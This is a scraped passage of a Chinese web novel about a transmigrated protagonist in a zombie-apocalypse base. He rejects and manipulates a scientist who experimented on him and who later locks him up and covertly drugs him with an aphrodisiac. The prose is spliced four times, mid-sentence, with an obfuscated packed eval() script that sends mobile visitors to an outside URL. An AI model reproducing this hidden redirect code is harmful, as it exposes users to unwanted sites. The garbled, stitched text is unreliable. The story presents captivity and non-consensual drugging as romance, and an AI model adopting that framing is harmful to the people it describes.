祁音尘没说话,但从进房间开始就关注着江泠的反应,那双爱意消失的眸中只余平静,他甚至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775799|190306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从中看不见自己的身影。 他似乎没有预料到这个结果,愣了一下,尽可能忽视江泠语气里的冷漠,忽视心底涌上来的阵阵酸涩,没有回答这个问题,而是强扯出一个微笑,语气颤抖的轻声说: “江泠,疫苗已经研制出来了,你不需要待在这里了,等你身体再养好一点,我就接你回家,好吗?” 祁音尘这么温柔的样子简直难得,江泠睁开眼仔细打量着面前的人,怀疑祁音尘是不是受什么刺激了。不然怎么摆出一副这么关心他的模样?像是…… 像是祁音尘也爱了他很多年的样子。 心里得出这个结论后,江泠差点笑出声来。 或者祁音尘是跟主角攻吵架了?需要他成为play中的一环? 那他也并不介意,挑明了故意问:“怎么?我对你难道还有利用价值?” 祁音尘清冽的声音染上苦涩,极力否认:“不是的,江泠,我现在没有想利用你。我只是知道……我们之间有误会,所以等你身体好些了,我就带你离开这里好吗?我知道,我知道以前……” 还未说完,江泠就打断了他,漆黑的眼珠映着祁音尘因为愧疚而低声细语的模样,嘴角扯出一抹苍白的笑:“以前的事都过去了,其实已经不重要了,对吗?我只有一个请求,恳求你看在我心甘情愿当实验体的份上,可以答应我吗?祁博士。” 祁音尘努力咽下喉间涌上来的苦涩,长长的眼睫毛自然垂下,将本就不多的温柔极力展现:“好,我什么都可以答应你。” “我想离开基地。” “不行!” 祁音尘猛地抬头看向江泠,心口的位置开始剧烈灼烧,他自信的认为江泠不会离不开他的念头轰然之间碎了个彻底。 祁音尘自然难以相信,他不信江泠醒过来看他的第一眼就想着离开。 江泠依旧面不改色,仿佛刚刚说的并不是要离开这里,而是平静的说中午吃什么一样。 “江泠,你听我说,你现在异能还没有恢复好,一个人在外面很危险的,现在基地很安全,你不用担心,我可以担负起我们俩的生活的,我能给你最好的。”祁音尘几乎是语无伦次的极力劝说着,只是越说心越慌。 一时之间,他分不清是迟来的爱意还是迟来的愧疚,让他丧失了常年的理智与冷静。 江泠没有在意祁音尘的话,因为他早知道祁音尘不可能会答应他的。 虽然不知道祁音尘为什么一朝之间转变态度,但是绝对没有想过让他离开这里。 江泠费力的起身,侧过身子,忽视祁音尘伸出来搀扶的手,原本盛满阳光的脸上有着不该在这个年龄的沉稳,正式严肃地宣告一件事: “我对你的爱,到此为止。” 真不好意思啊,我现在改行了。 下一秒—— 【主角受虐心值+1!】 【+1】 …… 5. 高岭之花医学博士 4 祁音尘难以置信地看向江泠,他清楚的明白江泠不会轻易原谅自己,却没想到,江泠是想他们两人彻底的没有关系。 从此桥归桥、路归路吗? “到此为止”。 祁音尘耳边盘旋着这话,说不清道不明的不甘心将他淹没,眼中隐隐闪烁着疯狂之色。 可当初闯入我的世界的是你,凭什么说“到此为止”的也是你呢? 江泠静静地躺下,脑中回荡着系统兴高采烈的播报声,于是并没有在意祁音尘接下来的反应,自然也就错过了祁音尘眼中一闪而过的阴郁。 下一秒,祁音尘仿佛什么都没发生过一样,声音沙哑,自顾自的说:“我先回去将家里收拾好,过两天我就接你回去,好吗?” 原本清冷的语气染上温柔更显得其声清如玉,他放缓声音安抚着江泠,生怕江泠再说出什么话来。 “你先在这里休养,我走了。”祁音尘为江泠掖好被角,又亲自倒了一杯水,不动声色掩饰好自己的狼狈,几乎是逃一般的离开了这里。 江泠就这样默默的等着祁音尘离开房间,然后掀开被角,起身坐了起来。空荡荡的病服像是挂在江泠身上一样,显得人格外的消瘦,在经历难以想象的病体试验之后,原先意气风发的小少爷如今病气四横。风流潇洒的眉角也沾染了几分沉淀下来的平静,墨色眸子凝视着窗外祁音尘渐渐远去的背影。 系统瞧见江泠这副模样,心中又多了几分担忧:“宿主,你不会心软吧?” 这次咱可不是拿的舔狗剧本啊,它总怕宿主看着那些人示弱服软就心软原谅了。 听到此话,江泠嗤笑了一声,大半个身子沉在阴影中:“怎么可能。” 他现在又不是舔狗。 祁音尘脚步匆忙回到了住处,天色已晚,墨色浸染了整片天空。站在镜子前,他戴上了眼镜,瓷白的手扶了一下镜框,看着镜子中的自己,他摸了摸自己眼角边的泪痣,却摸到了一滴湿润的泪。 祁音尘出生不久,家中生意经营失败,妈妈抛下家,也抛下了家中的重债和丈夫儿子,独自走了。原本脾气就不好的爸爸变得更加暴躁易怒,稍不顺心就对他动辄打骂。 无数个挨打的夜晚,他总是咬牙坚持着,他相信总有一天自己会离开这个地方。于是他空闲时间就会兼职,同时确保自己在学校成绩优异。 直到有一天,他发现有人悄悄尾随他。 默不作声的夜色中,那个人藏身于黑暗,仿佛想将他吞吃入腹的目光一直跟随着他,在书包里,有他放的一把水果刀。 他唯一能做的就是熬到能看见光明的时候,他不能冲动,他要等到高考之后离开这里。就这样,他小心翼翼生活着。酒鬼父亲的打骂、恶心视线的跟随……他没有一刻不活在防备之中。 直到,他碰见了江泠。 江泠借着“交朋友”的名头与他相识,会悄悄给他送吃的送喝的、会在学校有人为难他的时候出手帮忙,甚至让自己搬到他家去住。至于他爸……江泠也妥帖的安排好了一切,让他不要有后顾之忧。 他怎么会有后顾之忧,他求之不得离开那里,离开那个昏暗的小巷。 但有时候他也会有一瞬的动摇,脑中生出“江泠是不是真的喜欢他”的念头来。可每一次,他理智都告诫自己—— “他们这种人怎么可能真的喜欢上自己?” 于是江泠对自己的好,祁音尘尽管皱着眉最终却都会坦然受之,他从不回应江泠的爱意,江泠似乎也不需要自己回应。 现在看来,他就是在肆意挥霍本就珍贵的爱意,践踏着一个人的真心罢了。 祁音尘打开水龙头,给自己泼了一捧冷水,直到如今他才不得不承认—— 他后悔了。 明明他和江泠不会走到这个局面的。 即使没有听见赵祁的话,终归有一日,无论早晚,那迟来的悔意和爱意终将抵达。 祁音尘躺在床上闭上眼,脑中闪着曾经和江泠的记忆片段,不知道什么时候才陷入了沉睡之中。 第二天一早祁音尘就去了赵祁那里一趟,虽然他知道了赵祁的真面目,但是目前赵祁在基地里位高权重,他一时半会根本动不了。不过有个人就不一定了。 副手安瓷跟在赵祁身边时间不短,也知道不少实验室的事,留在赵祁身边始终是隐患。 赵祁对他的到来似乎很惊喜,依在门框上笑嘻嘻地向他打着招呼:“音尘,今天你怎么有空过来了?” 祁音尘神色疏离,对于赵祁示好视而不见,语气平淡的通知他:“让安瓷回实验室吧,研究项目还需要他。” 赵祁尽量克制着自己势在必得的目光,笑着应下:“安瓷本来就是要回去的,只是想先等你气消了再说这事。” 说着,他伸手准备将手搭在祁音尘肩膀上,祁音尘垂眸侧身躲过,没再多看赵祁一眼: “既然如此,我就先回去了。” 赵祁对祁音尘抗拒的反应早就习以为常,没觉得尴尬,自然的收回手,笑如暖阳:“好,你先回去忙。” 赵祁目送着祁音尘离开,等影子都没了后,才咬牙切齿的踹了一脚门,这么久了都没能有什么进展,是个人都会恼羞成怒的。 于是情绪自然也就需要一个发泄口。 赵祁眼神染上一抹狠厉,对旁边站着的人说:“安瓷,你马上回实验室去,给我盯着江泠,找机会给我弄死他。” 安瓷身姿如玉,微微俯身应下,在看不见的角度,安瓷眉眼间未见半分恭敬,倒是带着几分讥讽,随即转身离去。 赵祁并未看见眼底下人神情的变化,本就够心烦意乱了,哪里还有空留意身边人的神情。 祁音尘回了实验室,其实在刚刚见到赵祁的时候,要不是强忍着与他攀谈,他根本就无法心平气静的跟赵祁谈话。 赵祁对江泠做的一切,总有一天他会一分不差的还给赵祁。 祁音尘摘下眼镜,揉了揉疲惫的眼角,拿过桌上放着的一本资料,翻开的第一页,祁音尘便控制不住的手抖了一下。 这是江泠的实验资料。 祁音尘轻翻开,看清里面的内容后,突如其来涌上心头的酸涩与揪痛几乎让他无法呼吸。 【实验体A13(江泠)记录资料——】 实验项目一:水底极限,实验体A13进入水箱,测试呼吸道与心脏跳动情况。 实验结果简记:水底抗压四十五分钟,心跳一切正常,轻微缺氧。 实验项目二:电击测试,将实验体A13放于电击椅上两小时,测试抗压情况与耐受能力。 实验结果简记:延长时间为两个半小时,耐受能力良好,有头昏迹象。 实验项目三:丧尸病毒感染抗体恢复数据收录,将实验体A13放于丧尸笼,感染丧尸病毒后,研究恢复情况。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775800|190306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 实验结果简记:感染病毒后两个半小时恢复正常,但身体受伤溃烂严重,发烧情况持续。 …… 祁音尘只翻了两页就看不下去,于是匆匆翻到尾,最下面标注着:具体音箱录音资料可见第三储区ZA12,标本数据可见第六储区XA31,以及最下面实验室总负责人的签字—— 祁音尘。 那龙飞凤舞的三个字仿佛看出了他当时签字时的漫不经心,于他而言,的确不过是一个签名而已。 他但凡多看两眼或许就能早点知道这些,可是为什么一眼都不曾关注呢? 祁音尘闭上眼,自嘲的扯了扯嘴角。 还能因为什么?当两人的身份地位发生转变,总有人迫不及待的想要跟过去割席。 当初他研究出疫苗之后,就刻意避免再见到江泠。直到赵祁手下的研究人员提出申请,说想研究江泠免疫抗体身体的一些基本数据,他想着不过收录数据而已,于是就同意了。 但他真的会不知道江泠身上究竟会发生什么吗? 当研究员告诉他江泠身体情况急转直下,生命特征消失的时候他又在想什么呢? 他在想—— 那人为什么从不肯求自己一下呢? 明明只要他开口服软,说不想待在这里,他就能接他出去的。 可是江泠只会对他笑笑,一如那个夏日里初见的笑容,干净又耀眼,衬得自己像个阴沟里的老鼠,连直视光芒的勇气都没有。 他记得江泠是很怕疼的,连一个小伤口都会疼上很久。 曾经江泠被飞来的篮球砸伤手臂,疼得眼泪汪汪,还对他说什么“你不给我包扎我就快死了”,当初他还觉得是江泠过于娇生惯养。后来住进江家,才从和江母的一次无意中交谈得知,江泠打小体质就是如此,不耐痛,尽管对常人来说是个小伤,但放在江泠身上已经算严重了。 心尖一阵密密麻麻的刺痛感在全身扩散,他脸色发白,痛苦地将资料砸在桌上。 忽然,清脆的叩门声打破了办公室压抑的氛围—— 办公室门是开着的,但安瓷并没有打算进来,仿佛只是想在门口提个醒:“祁博士,江泠的实验数据记录我已经放在您办公桌上了呢,不知道您看了吗?” 安瓷饶有兴趣的打量着祁音尘,他还是第一次见这人这副模样呢,有意思。 祁音尘眼神凌厉的盯着安瓷,怎么可能看不出他是故意的。但是目前赵祁那边的人还不能动,于是便强忍着怒气下了“逐客令”: “出去!” 安瓷摆出一副很惊讶的样子,笑了笑的颔首退下,活像一副热闹看完了的样子。 祁音尘在办公室坐到半夜才敢偷偷去看江泠。 江泠已经被转入他授意的大病房,也就是原本只用于基地领导的病房。 他悄悄推开门,借着朦胧的月色依稀看见床上江泠安静的睡颜。没有了白日的冰冷相对和冷漠,此时江泠眉眼柔和,让祁音尘的心也忍不住软了几分。他贪恋看着已经睡着的江泠,伸出手轻轻抚摸着江泠白皙病态的脸庞。 这对于祁音尘来说,算是他和江泠之间为数不多的恬静时光。 安静睡着的人忽然有了动作,只见江泠嘴唇微张,仿佛是在梦中呢喃着什么,祁音尘忍不住凑近听,却听清楚的那一瞬间,浑身一僵。 只有一个字—— “滚。” 6. 高岭之花医学博士 5 其实江泠是有和系统商量过该在这个时候说些什么的,比起“我不喜欢你了”、“我不爱你了”这种话,似乎短短的一个“滚”字更能糅杂着丰富的意思。 果然,江泠睡了一个好觉。 醒来的时候江泠抬头发现末世里一成不变的阴沉天竟然难得也有几缕阳光渗进来,显得格外温暖。一扭头,住的地方也不再是以前狭小的单间,哦对…… 待遇升级了。 这次江泠住的算是一个豪华大包间,干净舒适,甚至桌上还摆着新鲜水果,一看就知道是谁安排的了。 这算什么?江泠皱了皱眉,没想明白。 明明他还什么都没做呢。 【大概算是补偿吧。】系统小声的回答。 江泠没应声,而是揉搓着系统化成的气体小团子,纤细脆弱的十指在阳光下照耀下,微微发着光。过了半响,他才抬起头露出了一个微笑, “那我们就出去逛逛吧。” 系统愣了一下,那话落在它耳中跟“那我们出去鬼混吧”没什么两样。 系统托了托自己的脸,开心的跟着江泠飘出去了。 江泠一路出去没遇上什么阻拦,或许是祁音尘早就暗中授意过,不过偷摸着打量他的人倒是不少,各种各样的视线飘过来,江泠习惯性装瞎。 基地外围有一圈高高的围墙,透过铁网,依稀可见围墙之外丧尸游荡的身影,一墙之隔,就像是隔开了两个世界。作为规模较大的基地,这里基本设施算是全面,但每个人脸色的神情依旧算不上是放松。 江泠安安静静坐在草坪上发呆,突然,有道声音在江泠旁边响起—— “一个人出来,就不怕有人对你做些什么?” 江泠回过身去,发现是祁音尘的副手——安瓷,也就是本世界的“忠犬2号”。 他慢吞吞收回视线,不太感兴趣。 还笑呢兄弟?舔到我这种下场看你还笑不笑得出来。 安瓷立在草坪旁,一身白大褂穿在他身上不像是祁音尘穿着那样显得格外冰冷无情,反而衬得人有几分温文尔雅的滋味,一笑起来温暖如春阳,没有丝毫攻击性,倒是极易让人放下防备。 假的。 其实就是个笑面虎。 在江泠作为实验体搁那儿被人研究的时候,就是安瓷笑眯眯的指挥着手下的人给他做着各种项目,自己倒是从不上手,站的远远的,生怕血溅到他身上。结束了之后还会对每次的实验人员说着辛苦了之类的话。 跟这种人待在一块儿才会害怕会不会遇到什么吧? 见江泠抗拒的扭过头,安瓷也不恼,屈尊坐在江泠身边,热络的聊起天来:“你知道吗?咱们赵大领导好像对你的存在有点意见呢。” 接着他苦恼的摊开手,叹了口气:“还总想让我对你出手,真不好办。” 江泠听到这话无语看向安瓷,安瓷却仿佛并不觉得自己说了多么让人震惊的话一样,说完之后就撑着下巴微笑着与江泠对视。 江泠:“……所以呢?” “你就这样告诉我了,不怕赵祁找你麻烦吗?” 安瓷无所谓的笑笑:“你说那个头脑简单的家伙?” 江泠:果然…… 虽然是“忠犬”,但对主角攻永远有意见呢。 不过现在怎么感觉这个安瓷就像个危险的变数,跟个不定时的炸弹似的,不知道下一秒嘴里又会蹦出什么“惊人之语”。 走为上策。 江泠穿着宽松的病号服,虽然瘦,但还是跟衣架子似的,普通的病号服在他身上硬生生传出昂贵的感觉,他拍了拍身上沾上的草屑,没搭理安瓷,默默的转身离开了。 系统:【咦?不聊了吗?】 没看出来忠犬2号有点黑化了?江泠可不想给自己增加多余的工作。 安瓷静静看着江泠远去的身影,眼中闪过一丝玩味,眉眼微微上挑。 这人倒是比之前多了几分意思。 祁音尘压根不知道他的“忠犬2号”居然在暗中勾搭江泠,因为他已经有好几天没有去看江泠了。 这些日子,他都是从属下口中得知江泠做了什么,吃了什么,睡了多久。 说他是“懦夫”好像也没错,他实在是没办法看见江泠一脸冷漠的对着自己,曾经盛着满满爱意的眸中全是冰渣。 自从那晚听见江泠梦中无意识的呢喃后,他没由来的一阵后怕,隐隐有种事情脱离掌控的感觉。于是他只能趁江泠晚上睡觉的时候偷偷看几眼,要是江泠睡得沉,他还可以静静地伏在江泠的床边小睡一会儿,然后在江泠醒来之前离去。 没关系的,他有耐心,江泠这么喜欢他,一定会原谅他的。 祁音尘摘下眼镜,仔细的擦了擦,清丽精致的脸反光在玻璃桌面,一颗泪痣格外动人。 躺平的日子过于清闲,以至于江泠每日都会出去转转。尽管基地里许多人对他心生不满,但又不敢对他做什么,就只能眼睁睁看着江泠每日在基地转悠。 这天江泠照常坐在小草坪上,身边忽然落下一道阴影。 又来了。 安瓷笑眯眯的看着他,一副自来熟的样子,最后甚至还往自己身边凑了凑。 江泠:…… 这人是不是有病? 安瓷看着江泠还是一副无动于衷的样子,惆怅地叹了口气:“怎么,这么久了连声招呼都不打?” 江泠看向安瓷,没有说话,目光略带同情。 估计脑子也不正常了。 就这样,安瓷自顾自说自己的,江泠自顾自的发呆,直到天色将晚,安瓷才遗憾地说着告别的话,结果起身离开的时候,不小心被草坪上的石头绊倒,就这么直直的向江泠身上倒—— 电光火石之间,江泠根本没法闪开,于是安瓷扑下来的时候,他不得不双手往后撑在草坪上,身子也向后倾,妄想避开,但很可惜—— 安瓷最后几乎是整个人跌在江泠身上,双手也撑在江泠的两臂侧,那张脸更是离得最近。 温热的呼吸交缠着,属于另一个人的体温一瞬间传到江泠身上,江泠迅速的别过了脸。 从这个角度,安瓷能看清楚江泠白皙的颈后依稀可见曾经的青紫,他似乎是很少和人这么亲密接触过,江泠从脸红到了脖子,喉结也似乎因为紧张吞咽了一下。 安瓷饶有兴趣的笑了,直到身下的人马上发火的时候,才慢慢起身,抱歉的说了一句: “不好意思,江少,脚滑了。” 江泠一句话没说,呼吸急促,目光闪躲,推开安瓷就快步离开了。 害羞么?真有意思。 安瓷嘴边的笑终于变得真诚许多。 但他并不知道江泠一转头神色就平静下来了,双手插进裤兜,硬生生把条纹裤穿成西装裤既视感。 江泠勾了勾嘴角,见系统一脸心疼他被占便宜的样子,耐心的安抚了一句: “没事,我就是装的。” “呵,还想勾搭我……不过也好,正好借着他刺激刺激某人。” 系统虔诚的竖起来大拇指。 江泠揉了揉小气团,回了自己的房间。 自打这一日之后,安瓷每日都要打着偶遇的旗号在草坪碰到江泠,厚脸皮的跟江泠在小草坪一待就是一下午。 在安瓷看来,不过是一只咋呼暴躁易怒但毫无攻击力的小猫而已,多些耐心也无妨。 江泠不动声色任由那似有似无的暧昧在两人之间流转,亲眼见证安瓷像个极其自信的猎人布下所谓的圈套。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775801|190306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面对系统的担忧,江泠再三保证:“放心,我是1,他们占不了便宜。” 安瓷就这样极其耐心的一点一点靠近江泠,一边趁着祁音尘最近忙于实验室新的研究项目无暇顾及江泠将两人的相处变得光明正大,一边稳住赵祁,说着“嗯嗯快了快了”,实则支着脑袋期待明日的见面。 祁音尘再不出现,他可就要将人偷走了。 江泠也觉得有意思,想看安瓷为了勾搭他能做到什么份上。 事实证明—— 那个男人用尽了手段。 安瓷来的时候特意带了一朵玫瑰花,他笑脸盈盈的将花递给江泠,告诉江泠这是实验室培育出来的最好的一朵。 江泠沉默了一会,垂眸伸手接过,神色隐隐间带着几分别扭,嘟囔道:“我喜欢蔷薇花。” 别以为我不知道你喜欢看我什么样子,这些日子江泠已经研究透了,不就是喜欢看他“口嫌体正直”、傲娇但纯情的模样吗? 但是一朵玫瑰花就能将他收买吗? 你说,他们该觉得爱有多廉价啊,一只玫瑰就足以抵过。 难道我看起来是一副很缺爱的样子吗? 等到两人该分别的时候,安瓷才尝试着第一次握住江泠的手,眸色认真的对他说: “要不,我带你离开这里吧?” 他好像不觉得江泠会拒绝自己,又给出了更值得信服的理由,“你不喜欢这里,对吗?” 江泠低头看着握着自己的那双手,曾经冷静无比的写下那些用在自己身上的实验项目,竟然也带着温度。 算起来该到刺激祁音尘的时候了,于是江泠神色平静的答应了,甚至还跟安瓷约好了时间。 回到住处的时候,江泠才想起自己手里还有一朵玫瑰花,他随手扔在地上,轻松的拍了拍手。 一朵玫瑰花的爱,谁想要谁拿去吧。 江泠是一早随安瓷离开的,安瓷开着补给物资的车,门口守卫很快就放行了,毕竟是基地里排得上名头的人物,守卫匆匆检查完恭敬地开了大门。 说来江泠很久没见过外面的世界了,这一片辖区经常派异能者清理,丧尸并不算多。江泠拆下刚刚伪装时带的帽子口罩墨镜,专注的看着窗外,渐行渐远的树木被抛在车后变成一个小黑点。 短暂自由的感觉还不错。 江泠舒展着身体伸了个懒腰。 这就叫……先走一个试试? 祁音尘是在晚上才知道江泠不见了的,自从他中止实验后,实验室的人也就无权干涉江泠的行踪。再加上这段时间他一直忙着新研究,又要跟赵祁虚与委蛇,也只有晚上才能看见江泠。 没有开灯,借着夜色,祁音尘只能看到床上鼓起一团,他皱了皱眉想为江泠掖被角,伸手一摸才发现,柔软的被子里没有丝毫温度。 祁音尘猛地打开房间的灯,将被子掀开,根本就不见江泠的身影。 他忍着怒气,立马找人,调了实验室的监控才发现,江泠是跟着安瓷走的。 是心甘情愿走的。 祁音尘咬着牙,立马吩咐下去:“基地的车都有定位,给我追!” 等祁音尘带着一批人越来越靠近定位,终于追到了时,却看见一堆火光旁,安静靠在安瓷身上的江泠。 他并非对安瓷接触江泠的事一无所知,但是他了解江泠,因此才没把这件事放在心上。 没想到,安瓷居然敢带着江泠离开。 想双宿双飞吗? 江泠听到动静,慢慢睁开了眼。 这大概是祁音尘难得才有的狼狈模样,向来运筹帷幄的人此刻显得无比卑微,小心翼翼、竭尽温柔,压抑着心底冒出来的阵阵酸楚,轻声对他说: “江泠,我们回去好吗?” 7. 高岭之花医学博士 6 江泠没想到祁音尘这么快就追来了,看着祁音尘一副风尘仆仆的狼狈模样,不难猜出大概他们是在来的路上碰到了丧尸,不过说句实话,饶是这样,祁音尘也在夜色中美的惊人。 而祁音尘只当江泠的沉默是不愿意回应自己,那一瞬间又恼又怒,向来冷静自持的人眼中带着疯狂之色,径直走向前,粗暴的拉起江泠的手腕往车上拖。 “没关系。” “那只好我亲自带你回去了,阿泠”祁音尘亲昵的喊着江泠,目光扫过一旁的安瓷时,却冷的吓人。 安瓷瞧见这一幕,轻笑一声,十分乐意给祁音尘找不痛快:“可是江泠看起来好像一点也不想跟你回去哎……” 他当然再明白不过江泠是自己带出来的,但是此时此刻,他也只能眼睁睁看着人从他身边被带走。 这么多人,他根本没有办法。 说完安瓷垂下眼睫,一副安安静静的模样让人猜不透他究竟想做什么。 祁音尘现在只想上去撕烂安瓷的嘴,他从来没有这么厌恶一个人,但现在有了。 他就这么有恃无恐,以为自己动不了他是吗? 的确,虽然弄不死,但是让他吃点苦头,自己还是办得到的。 祁音尘勉强忍着怒气,好不容易理智回笼几分,于是手中钳制江泠的力度也放轻了不少。可当他侧过头想要窥探江泠脸上的神情时,江泠却依旧是一副淡淡的样子,好像什么事都扰乱不了他,平静的心湖再也翻不起一丝波澜。 又是一阵无力心起。 不过无论如何,江泠都不能离开他。 要是江泠不在基地里,他该怎么活下去呢? 于是困住江泠的这个念头就显得十分理所当然,合理到容不下一丝质疑,一丝……对自己心声的叩问。 浩浩荡荡的车队就这么在夜色中又悄然回到了基地,坐在车里的江泠一言不发,祁音尘也还没缓过神来,低着头,像是在思索什么,也就这么一路安静、彼此相安无事的回到了基地。 江泠望着窗外有些熟悉的道路心里颇为遗憾—— 虐心值一点没涨=白干了。 江泠:呵呵,白折腾一趟。 回到基地还是下半夜,墨色天空划开了一个小口蔚蓝色,不久就要天亮了。 祁音尘侧头看着副驾驶上安然沉睡的人,心里蓦然多了一抹柔软,他轻轻地把人抱下来,直接往他为江泠准备的房间去,当然,他也没忘记吩咐人将安瓷关到禁闭室。 赵祁养的狗跟他性子简直一模一样,都是一样的…… 胆大妄为。 他手轻轻托着江泠的身体,相较之前,江泠瘦了不少。祁音尘开始认真的思索着要准备什么营养餐才能把江泠把身体补起来,一边慢慢的抱着江泠回了住处。 推开门,屋内的设计风格对于江泠本人来说再熟悉不过。 无他,因为祁音尘给江泠准备的房间是按照末世前江泠的房间一比一复原的,在他潜意识里,从没吃过什么苦的小少爷的确就该过这样的生活。 想到这里,祁音尘嘴角泛起浅浅笑意,脑中浮现之前江泠生龙活虎的样子。他慢慢将人放在床上,掖好被角,带着思索犹豫的神情,站了半天的桩,才慢慢的弯下腰去,在江泠额头上轻轻一吻,羽毛似的轻轻落在了那光洁无暇的额头上。 矜贵清傲的人第一次弯下他的腰,流畅纤细的腰线清晰可见,仿佛带着最虔诚的爱意。 第二日江泠醒来的时候恍然觉得还在梦里,现在身体不行了,睡觉也越来越沉,总有种一闭眼就再也醒不过来的感觉。 不过,等等……他这还是在梦里? 熟悉的陈设十分眼熟,江泠深思熟虑好几秒,终于想起他为什么会在这里。 昨晚一不留心在车上就睡着了,大概他是被祁音尘带到这里来的。 江泠垂眼看着自己苍白的手臂上清晰可见的青色血管,他能感觉到那种力不从心和时不时就袭来的疲倦,身体从内而来的腐败终将慢慢吞噬他。即使最后没有变成丧尸,这副躯体又究竟能活多久呢? 江泠起身仔细看着眼前这熟悉的一切,封闭严实的玻璃窗,被外面锁上的大门。无一不是告诉江泠他被关在这里的事实。 但是好心的给他了一个熟悉的环境。 真是慈悲啊。 恍惚间,门外传来开锁的声音,接着门把轻轻地扭动,祁音尘端着早餐走了进来。 他穿着那身雪白不染尘埃的白大褂,但亲自端着早餐多少有点违和,还是拿着冰冷的器皿在实验室忙碌的样子更顺眼。 祁音尘是惯会利用他的外貌优势的,清冷的面容中带着恰到好处的柔软,眼中专注的只有眼前这人,见江泠看过来温柔的低声说: “阿泠,饿了吧,先吃早饭好不好?” 他翘长的睫毛带着点眼中的潋滟,眼角边的泪痣又添了几分清媚。 不过江泠本人还是十分清醒的,他瞅了祁音尘几眼,思索着祁音尘嘴里为什么会冒出“阿泠”这种称呼来。 怪恶心人的。 祁音尘放下早餐,作势端起一碗粥,正欲喂江泠,江泠下意识的撇过头,说:“不用,我自己来。” 祁音尘端着粥的一手一僵,半刻后又恢复正常,笑着把粥放在桌上,声音轻柔的说:“那阿泠你记得吃,有事想和我说,你就跟门口的守卫说一声。” 他明白江泠对他的抗拒,强撑着笑将早餐一样一样摆好便离开了。 不过走之前那道若有若无的目光还断断续续的追随的江泠,仿佛希望他开口说点什么,但是江泠一心只在意上升的虐心值—— 【虐心值+5!】 简直是天籁之声。 门锁又从外锁上,锁门锁得十分利落。 江泠等人走了,才爬起来,坐在桌边慢条斯理的吃着祁音尘精心准备的营养早餐。 系统不解,疑惑发问:【宿主,你还真吃啊!】 这种情况,不是不吃更能让祁音尘良心不安吗? 江泠:“……是要虐他,不是惩罚我自己。我可没有自己虐自己的小癖好……” 后面的话有些模糊不清,大概是因为江泠一边吃一边说,吞掉了某些字音。 系统:宿主叽里咕噜说啥呢?嘿嘿,吃东西的样子都这么好看…… 有之前的前车之鉴,这里被盯得连只蚊子都飞不进来。江泠也如祁音尘的意,干脆一直呆在房中,绝口不提出去的话。 祁音尘看着江泠从一开始要等自己离开了才动筷子,到现在已经可以当着自己的面吃饭,心里暗暗的高兴,还以为江泠态度软化不少。 不过这些还不够,远远不够。 而这一切的转机,就握在他自己的手里。 祁音尘在实验室配置药剂,那副架势恨不得要在实验室里扎根。而整理药剂的实验员看着祁音尘手中的药剂,不禁疑惑的发问: “祁博士,今日调制的药剂已经如数登记,是还缺什么吗?您手中的是不是我登记漏了?” 祁音尘清冷的脸上染上一抹不易察觉的绯红,平静的说:“这个是试验品,不用登记,过去吧。” 那人点点头走了。 祁音尘摇晃着手中的药剂,嘴角也勾起细微的弧度, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775802|190306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是除了在江泠面前在外鲜少露出的笑意。 这一日,江泠照旧吃着祁音尘送来的晚餐。 挺好吃,也十分有营养。 不过到了半夜,江泠面色泛起红意,整个人蜷缩在床上,又忍不住翻滚着,试图用这样的方式缓解身体的不适症状。、 同时江泠也拒绝了系统想要赊账兑换解药的建议,他咬着牙,冷静的告诉系统—— “不用,他会来的。不就是等着我服软吗?那就等着!看谁能熬过谁!” 话音刚落,果不其然,门口传来开锁推门的声音。 陷入热潮中迷迷糊糊的江泠听到祁音尘声音低柔的询问自己怎么了,两人不断凑近的身体让江泠很容易就闻到祁音尘身上淡淡的清香,还有一点点药物的苦涩味,交织成清香,江泠的身体更难受了。 忍无可忍,无需再忍。 江泠扯过祁音尘的衣领,往下猛地一拉,随后双手撑在祁音尘上方,歪着头艰难的分析现在的情况。 祁音尘抬头望向上方,久违的心跳咚咚的仿佛要从祁音尘胸腔中跳出来,他按捺着自己的情动,关切着眼前这人。 对,不仅是江泠喝了□□,他也喝了。 他是江泠的解药,江泠也是他的。 这是祁音尘想到的最快缓和两人关系的方法,他知道江泠若是知道自己做了什么,一定会对他负责的。 